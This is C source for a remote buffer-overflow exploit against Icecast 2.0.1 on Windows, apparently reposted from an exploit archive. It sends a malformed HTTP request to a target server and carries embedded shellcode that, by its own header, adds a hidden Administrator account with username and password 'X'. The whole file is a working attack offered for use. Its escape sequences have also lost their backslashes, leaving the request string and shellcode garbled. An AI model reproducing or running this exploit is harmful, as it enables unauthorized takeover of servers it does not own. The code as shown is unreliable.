/*
ICECAST 2.0.1 WiN32 REMOTE EXPLOiT

by Luigi Auriemma

Modded by:

**************************
******* LORDKAOZ *********
*** OF IMPERATORI TEAM ***
**************************
Greetz to marc0z, m3nTe, DarKBad, OuT, FaX (Anche se non se lo merita), MeSSiA e eXpLoIt!

This exploit will add an Administrator account with USER: X AND PASSWORD: X

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <netinet/in.h>
#endif



#define VER     "0.1"
#define PORT    8000
#define BUFFSZ  2048
#define TIMEOUT 3
#define EXEC    "GET / HTTP/1.0rn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "arn" "arn" "arn" "arn" "arn" "arn" "arn" 
                "xcc" 

char shellcode[] =
"x66x81xecx80x00x89xe6xe8xb7x00x00x00x89x06x89xc3"
"x53x68x7exd8xe2x73xe8xbdx00x00x00x89x46x0cx53x68"
"x8ex4ex0execxe8xafx00x00x00x89x46x08x31xdbx53x68"
"x70x69x33x32x68x6ex65x74x61x54xffxd0x89x46x04x89"
"xc3x53x68x5exdfx7cxcdxe8x8cx00x00x00x89x46x10x53"
"x68xd7x3dx0cxc3xe8x7ex00x00x00x89x46x14x31xc0x31"
"xdbx43x50x68x72x00x73x00x68x74x00x6fx00x68x72x00"
"x61x00x68x73x00x74x00x68x6ex00x69x00x68x6dx00x69"
"x00x68x41x00x64x00x89x66x1cx50x68x58x00x00x00x89"
"xe1x89x4ex18x68x00x00x5cx00x50x53x50x50x53x50x51"
"x51x89xe1x50x54x51x53x50xffx56x10x8bx4ex18x49x49"
"x51x89xe1x6ax01x51x6ax03xffx76x1cx6ax00xffx56x14"
"xffx56x0cx56x6ax30x59x64x8bx01x8bx40x0cx8bx70x1c"
"xadx8bx40x08x5exc2x04x00x53x55x56x57x8bx6cx24x18"
"x8bx45x3cx8bx54x05x78x01xeax8bx4ax18x8bx5ax20x01"
"xebxe3x32x49x8bx34x8bx01xeex31xffxfcx31xc0xacx38"
"xe0x74x07xc1xcfx0dx01xc7xebxf2x3bx7cx24x14x75xe1"
"x8bx5ax24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04"
"x8bx01xe8xebx02x31xc0x89xeax5fx5ex5dx5bxc2x08x00";



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd;
    u_short port = PORT;
    u_char  buff[BUFFSZ];


    setbuf(stdout, NULL);

    fputs("n"
        "Icecast <= 2.0.1 Win32 remote code execution "VER"n"
        "by Luigi Auriemman"
        "e-mail: aluigi@altervista.orgn"
        "web:    http://aluigi.altervista.orgn"
		"*************************************n"
		"SHELLCODE ADDED BY LORDKAOZn"
		"OF #IMPERATORIn"
		"*************************************n"
		"SHELLCODE BASED ON WIN32_ADDUSERn"
		"BY METASPLOIT GROUPn"
		"*************************************n"
        "n", stdout);

    if(argc < 2) {
        printf("nUsage: %s <server> [port(%d)]n"
            "n"
            "THiS iS A POC EXPLOIT BY Luigi Auriemman"
			"AND MODDED BY LORDKAOZ WITH AN ADMINISTRATOR X/X ADDUSERn"
			"BASED ON METASPLOIT SHELLCODEn"
            "n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("n- target   %s:%hun",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    fputs("- send malformed datan", stdout);
    if(send(sd, EXEC, sizeof(EXEC) - 1, 0)
      < 0) std_err();

    if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) {
        fputs("nThe Server Is Vulnerable!!!nn", stdout);
    } else {
        fputs("nServer Doesn't Seem To Be Vulnerablenn", stdout);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Cannot Resolve Hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// www.Syue.com [2004-10-12]